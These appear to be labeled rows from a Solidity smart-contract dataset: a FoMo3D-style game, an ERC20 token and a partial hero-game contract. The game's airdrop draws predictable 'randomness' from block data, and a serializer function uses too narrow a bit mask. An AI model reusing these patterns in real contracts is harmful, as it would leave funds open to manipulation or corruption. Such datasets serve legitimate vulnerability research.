_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(Suohadatasets.EventReturns memory _eventData_)
private
returns (Suohadatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(6) / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen));
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
community_addr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Suohadatasets.EventReturns memory _eventData_)
private
returns(Suohadatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _aff = _eth / 5;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit Suohaevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
community_addr.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Suohadatasets.EventReturns memory _eventData_)
private
returns(Suohadatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(24)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Suohadatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit Suohaevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == community_addr, "only community can activate"
);
require(activated_ == false, "shuoha already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library Suohadatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library SuohaKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(156250000000000000000000000)).add(1406247070314025878906250000000000000000000000000000000000000000)).sqrt()).sub(37499960937500000000000000000000)) / (78125000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,820 |
pragma solidity ^0.4.25;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract Substancia is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "SUBS";
name = "Substancia";
decimals = 18;
_totalSupply = 15500000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,298 |
pragma solidity ^0.4.19;
library OwnershipTypes{
using Serializer for Serializer.DataComponent;
struct Ownership
{
address m_Owner;
uint32 m_OwnerInventoryIndex;
}
function SerializeOwnership(Ownership ownership) internal pure returns (bytes32)
{
Serializer.DataComponent memory data;
data.WriteAddress(0, ownership.m_Owner);
data.WriteUint32(20, ownership.m_OwnerInventoryIndex);
return data.m_Raw;
}
function DeserializeOwnership(bytes32 raw) internal pure returns (Ownership)
{
Ownership memory ownership;
Serializer.DataComponent memory data;
data.m_Raw = raw;
ownership.m_Owner = data.ReadAddress(0);
ownership.m_OwnerInventoryIndex = data.ReadUint32(20);
return ownership;
}
}
library LibStructs{
using Serializer for Serializer.DataComponent;
struct Hero {
uint16 stockID;
uint8 rarity;
uint16 hp;
uint16 atk;
uint16 def;
uint16 agi;
uint16 intel;
uint16 cHp;
uint8 isForSale;
uint8 lvl;
uint16 xp;
}
struct StockHero {uint16 price;uint8 stars;uint8 mainOnePosition;uint8 mainTwoPosition;uint16 stock;uint8 class;}
function SerializeHero(Hero hero) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, hero.stockID);
data.WriteUint8(2, hero.rarity);
data.WriteUint16(4, hero.hp);
data.WriteUint16(6, hero.atk);
data.WriteUint16(8, hero.def);
data.WriteUint16(10, hero.agi);
data.WriteUint16(12, hero.intel);
data.WriteUint16(14, hero.cHp);
data.WriteUint8(20, hero.isForSale);
data.WriteUint8(21, hero.lvl);
data.WriteUint16(23, hero.xp);
return data.m_Raw;
}
function DeserializeHero(bytes32 raw) internal pure returns (Hero){
Hero memory hero;
Serializer.DataComponent memory data;
data.m_Raw = raw;
hero.stockID = data.ReadUint16(0);
hero.rarity = data.ReadUint8(2);
hero.hp = data.ReadUint16(4);
hero.atk = data.ReadUint16(6);
hero.def = data.ReadUint16(8);
hero.agi = data.ReadUint16(10);
hero.intel = data.ReadUint16(12);
hero.cHp = data.ReadUint16(14);
hero.isForSale = data.ReadUint8(20);
hero.lvl = data.ReadUint8(21);
hero.xp = data.ReadUint16(23);
return hero;
}
function SerializeStockHero(StockHero stockhero) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, stockhero.price);
data.WriteUint8(2, stockhero.stars);
data.WriteUint8(3, stockhero.mainOnePosition);
data.WriteUint8(4, stockhero.mainTwoPosition);
data.WriteUint16(5, stockhero.stock);
data.WriteUint8(7, stockhero.class);
return data.m_Raw;
}
function DeserializeStockHero(bytes32 raw) internal pure returns (StockHero){
StockHero memory stockhero;
Serializer.DataComponent memory data;
data.m_Raw = raw;
stockhero.price = data.ReadUint16(0);
stockhero.stars = data.ReadUint8(2);
stockhero.mainOnePosition = data.ReadUint8(3);
stockhero.mainTwoPosition = data.ReadUint8(4);
stockhero.stock = data.ReadUint16(5);
stockhero.class = data.ReadUint8(7);
return stockhero;
}
struct Item {
uint16 stockID;
uint8 lvl;
uint8 rarity;
uint16 hp;
uint16 atk;
uint16 def;
uint16 agi;
uint16 intel;
uint8 critic;
uint8 healbonus;
uint8 atackbonus;
uint8 defensebonus;
uint8 isForSale;
uint8 grade;
}
struct StockItem {uint16 price;uint8 stars;uint8 lvl;uint8 mainOnePosition;uint8 mainTwoPosition;uint16[5] stats;uint8[4] secstats;uint8 cat;uint8 subcat;}
function SerializeItem(Item item) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, item.stockID);
data.WriteUint8(4, item.lvl);
data.WriteUint8(5, item.rarity);
data.WriteUint16(6, item.hp);
data.WriteUint16(8, item.atk);
data.WriteUint16(10, item.def);
data.WriteUint16(12, item.agi);
data.WriteUint16(14, item.intel);
data.WriteUint8(16, item.critic);
data.WriteUint8(17, item.healbonus);
data.WriteUint8(18, item.atackbonus);
data.WriteUint8(19, item.defensebonus);
data.WriteUint8(20, item.isForSale);
data.WriteUint8(21, item.grade);
return data.m_Raw;
}
function DeserializeItem(bytes32 raw) internal pure returns (Item){
Item memory item;
Serializer.DataComponent memory data;
data.m_Raw = raw;
item.stockID = data.ReadUint16(0);
item.lvl = data.ReadUint8(4);
item.rarity = data.ReadUint8(5);
item.hp = data.ReadUint16(6);
item.atk = data.ReadUint16(8);
item.def = data.ReadUint16(10);
item.agi = data.ReadUint16(12);
item.intel = data.ReadUint16(14);
item.critic = data.ReadUint8(16);
item.healbonus = data.ReadUint8(17);
item.atackbonus = data.ReadUint8(18);
item.defensebonus = data.ReadUint8(19);
item.isForSale = data.ReadUint8(20);
item.grade = data.ReadUint8(21);
return item;
}
function SerializeStockItem(StockItem stockitem) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, stockitem.price);
data.WriteUint8(2, stockitem.stars);
data.WriteUint8(3, stockitem.lvl);
data.WriteUint8(4, stockitem.mainOnePosition);
data.WriteUint8(5, stockitem.mainTwoPosition);
data.WriteUint16(6, stockitem.stats[0]);
data.WriteUint16(8, stockitem.stats[1]);
data.WriteUint16(10, stockitem.stats[2]);
data.WriteUint16(12, stockitem.stats[3]);
data.WriteUint16(14, stockitem.stats[4]);
data.WriteUint8(16, stockitem.secstats[0]);
data.WriteUint8(17, stockitem.secstats[1]);
data.WriteUint8(18, stockitem.secstats[2]);
data.WriteUint8(19, stockitem.secstats[3]);
data.WriteUint8(20, stockitem.cat);
data.WriteUint8(21, stockitem.subcat);
return data.m_Raw;
}
function DeserializeStockItem(bytes32 raw) internal pure returns (StockItem){
StockItem memory stockitem;
Serializer.DataComponent memory data;
data.m_Raw = raw;
stockitem.price = data.ReadUint16(0);
stockitem.stars = data.ReadUint8(2);
stockitem.lvl = data.ReadUint8(3);
stockitem.mainOnePosition = data.ReadUint8(4);
stockitem.mainTwoPosition = data.ReadUint8(5);
stockitem.stats[0] = data.ReadUint16(6);
stockitem.stats[1] = data.ReadUint16(8);
stockitem.stats[2] = data.ReadUint16(10);
stockitem.stats[3] = data.ReadUint16(12);
stockitem.stats[4] = data.ReadUint16(14);
stockitem.secstats[0] = data.ReadUint8(16);
stockitem.secstats[1] = data.ReadUint8(17);
stockitem.secstats[2] = data.ReadUint8(18);
stockitem.secstats[3] = data.ReadUint8(19);
stockitem.cat = data.ReadUint8(20);
stockitem.subcat = data.ReadUint8(21);
return stockitem;
}
struct Action {uint16 actionID;uint8 actionType;uint16 finneyCost;uint32 cooldown;uint8 lvl;uint8 looted;uint8 isDaily;}
function SerializeAction(Action action) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint16(0, action.actionID);
data.WriteUint8(2, action.actionType);
data.WriteUint16(3, action.finneyCost);
data.WriteUint32(5, action.cooldown);
data.WriteUint8(9, action.lvl);
data.WriteUint8(10, action.looted);
data.WriteUint8(11, action.isDaily);
return data.m_Raw;
}
function DeserializeAction(bytes32 raw) internal pure returns (Action){
Action memory action;
Serializer.DataComponent memory data;
data.m_Raw = raw;
action.actionID = data.ReadUint16(0);
action.actionType = data.ReadUint8(2);
action.finneyCost = data.ReadUint16(3);
action.cooldown = data.ReadUint32(5);
action.lvl = data.ReadUint8(9);
action.looted = data.ReadUint8(10);
action.isDaily = data.ReadUint8(11);
return action;
}
struct Mission {uint8 dificulty;uint16[4] stockitemId_drops;uint16[5] statsrequired;uint16 count;}
function SerializeMission(Mission mission) internal pure returns (bytes32){
Serializer.DataComponent memory data;
data.WriteUint8(0, mission.dificulty);
data.WriteUint16(1, mission.stockitemId_drops[0]);
data.WriteUint16(5, mission.stockitemId_drops[1]);
data.WriteUint16(9, mission.stockitemId_drops[2]);
data.WriteUint16(13, mission.stockitemId_drops[3]);
data.WriteUint16(15, mission.statsrequired[0]);
data.WriteUint16(17, mission.statsrequired[1]);
data.WriteUint16(19, mission.statsrequired[2]);
data.WriteUint16(21, mission.statsrequired[3]);
data.WriteUint16(23, mission.statsrequired[4]);
data.WriteUint16(25, mission.count);
return data.m_Raw;
}
function DeserializeMission(bytes32 raw) internal pure returns (Mission){
Mission memory mission;
Serializer.DataComponent memory data;
data.m_Raw = raw;
mission.dificulty = data.ReadUint8(0);
mission.stockitemId_drops[0] = data.ReadUint16(1);
mission.stockitemId_drops[1] = data.ReadUint16(5);
mission.stockitemId_drops[2] = data.ReadUint16(9);
mission.stockitemId_drops[3] = data.ReadUint16(13);
mission.statsrequired[0] = data.ReadUint16(15);
mission.statsrequired[1] = data.ReadUint16(17);
mission.statsrequired[2] = data.ReadUint16(19);
mission.statsrequired[3] = data.ReadUint16(21);
mission.statsrequired[4] = data.ReadUint16(23);
mission.count = data.ReadUint16(25);
return mission;
}
function toWei(uint80 price) public returns(uint256 value){
value = price;
value = value * 1 finney;
}
}
library GlobalTypes{
using Serializer for Serializer.DataComponent;
struct Global
{
uint32 m_LastHeroId;
uint32 m_LastItem;
uint8 m_Unused8;
uint8 m_Unused9;
uint8 m_Unused10;
uint8 m_Unused11;
}
function SerializeGlobal(Global global) internal pure returns (bytes32)
{
Serializer.DataComponent memory data;
data.WriteUint32(0, global.m_LastHeroId);
data.WriteUint32(4, global.m_LastItem);
data.WriteUint8(8, global.m_Unused8);
data.WriteUint8(9, global.m_Unused9);
data.WriteUint8(10, global.m_Unused10);
data.WriteUint8(11, global.m_Unused11);
return data.m_Raw;
}
function DeserializeGlobal(bytes32 raw) internal pure returns (Global)
{
Global memory global;
Serializer.DataComponent memory data;
data.m_Raw = raw;
global.m_LastHeroId = data.ReadUint32(0);
global.m_LastItem = data.ReadUint32(4);
global.m_Unused8 = data.ReadUint8(8);
global.m_Unused9 = data.ReadUint8(9);
global.m_Unused10 = data.ReadUint8(10);
global.m_Unused11 = data.ReadUint8(11);
return global;
}
}
library MarketTypes{
using Serializer for Serializer.DataComponent;
struct MarketListing
{
uint128 m_Price;
}
function SerializeMarketListing(MarketListing listing) internal pure returns (bytes32)
{
Serializer.DataComponent memory data;
data.WriteUint128(0, listing.m_Price);
return data.m_Raw;
}
function DeserializeMarketListing(bytes32 raw) internal pure returns (MarketListing)
{
MarketListing memory listing;
Serializer.DataComponent memory data;
data.m_Raw = raw;
listing.m_Price = data.ReadUint128(0);
return listing;
}
}
library Serializer{
struct DataComponent
{
bytes32 m_Raw;
}
function ReadUint8(DataComponent memory self, uint32 offset) internal pure returns (uint8)
{
return uint8((self.m_Raw >> (offset * 8)) & 0xFF);
}
function WriteUint8(DataComponent memory self, uint32 offset, uint8 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint16(DataComponent memory self, uint32 offset) internal pure returns (uint16)
{
return uint16((self.m_Raw >> (offset * 8)) & 0xFFFF);
}
function WriteUint16(DataComponent memory self, uint32 offset, uint16 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint32(DataComponent memory self, uint32 offset) internal pure returns (uint32)
{
return uint32((self.m_Raw >> (offset * 8)) & 0xFFFFFFFF);
}
function WriteUint32(DataComponent memory self, uint32 offset, uint32 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint64(DataComponent memory self, uint32 offset) internal pure returns (uint64)
{
return uint64((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFF);
}
function WriteUint64(DataComponent memory self, uint32 offset, uint64 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint80(DataComponent memory self, uint32 offset) internal pure returns (uint80)
{
return uint80((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFFFFFF);
}
function WriteUint80(DataComponent memory self, uint32 offset, uint80 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadUint128(DataComponent memory self, uint128 offset) internal pure returns (uint128)
{
return uint128((self.m_Raw >> (offset * 8)) & 0xFFFFFFFFFFFFFFFFFFFF);
}
function WriteUint128(DataComponent memory self, uint32 offset, uint128 value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
function ReadAddress(DataComponent memory self, uint32 offset) internal pure returns (address)
{
return address((self.m_Raw >> (offset * 8)) & (
(0xFFFFFFFF << 0) |
(0xFFFFFFFF << 32) |
(0xFFFFFFFF << 64) |
(0xFFFFFFFF << 96) |
(0xFFFFFFFF << 128)
));
}
function WriteAddress(DataComponent memory self, uint32 offset, address value) internal pure
{
self.m_Raw |= (bytes32(value) << (offset * 8));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a / b;
return c;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a / b;
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
if (a == 0) {
return 0;
}
uint8 c = a * b;
assert(c / a == b);
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a / b;
return c;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
}
contract HeroHelperBuy
{
address public m_Owner;
address public partner1;
uint8 public percent1;
address public partner2;
uint8 public percent2;
bool public m_Paused;
AbstractDatabase m_Database= AbstractDatabase(0x400d188e1c21d592820df1f2f8cf33b3a13a377e);
BitGuildToken public tokenContract = BitGuildToken(0x7E43581b19ab509BCF9397a2eFd1ab10233f27dE);
address public bitGuildAddress = 0x89a196a34B7820bC985B98096ED5EFc7c4DC8363;
mapping(address => bool) public trustedContracts;
using SafeMath for uint256;
using SafeMath32 for uint32;
using SafeMath16 for uint16;
using SafeMath8 for uint8;
modifier OnlyOwner(){
require(msg.sender == m_Owner || trustedContracts[msg.sender]);
_;
}
modifier onlyOwnerOf(uint _hero_id) {
OwnershipTypes.Ownership memory ownership = OwnershipTypes.DeserializeOwnership(m_Database.Load(NullAddress, OwnershipHeroCategory, _hero_id));
require(ownership.m_Owner == msg.sender);
_;
}
function ChangeAddressTrust(address contract_address,bool trust_flag) public OnlyOwner()
{
trustedContracts[contract_address] = trust_flag;
}
address constant NullAddress = 0;
uint256 constant GlobalCategory = 0;
uint256 constant HeroCategory = 1;
uint256 constant HeroStockCategory = 2;
uint256 constant InventoryHeroCategory = 3;
uint256 constant OwnershipHeroCategory = 10;
uint256 constant OwnershipItemCategory = 11;
uint256 constant OwnershipAbilitiesCategory = 12;
uint256 constant ProfitFundsCategory = 14;
uint256 constant WithdrawalFundsCategory = 15;
uint256 constant HeroMarketCategory = 16;
uint256 constant ActionCategory = 20;
uint256 constant MissionCategory = 17;
uint256 constant ActionHeroCategory = 18;
uint256 constant ReferalCategory = 237;
using Serializer for Serializer.DataComponent;
function ChangeOwner(address new_owner) public OnlyOwner(){
m_Owner = new_owner;
}
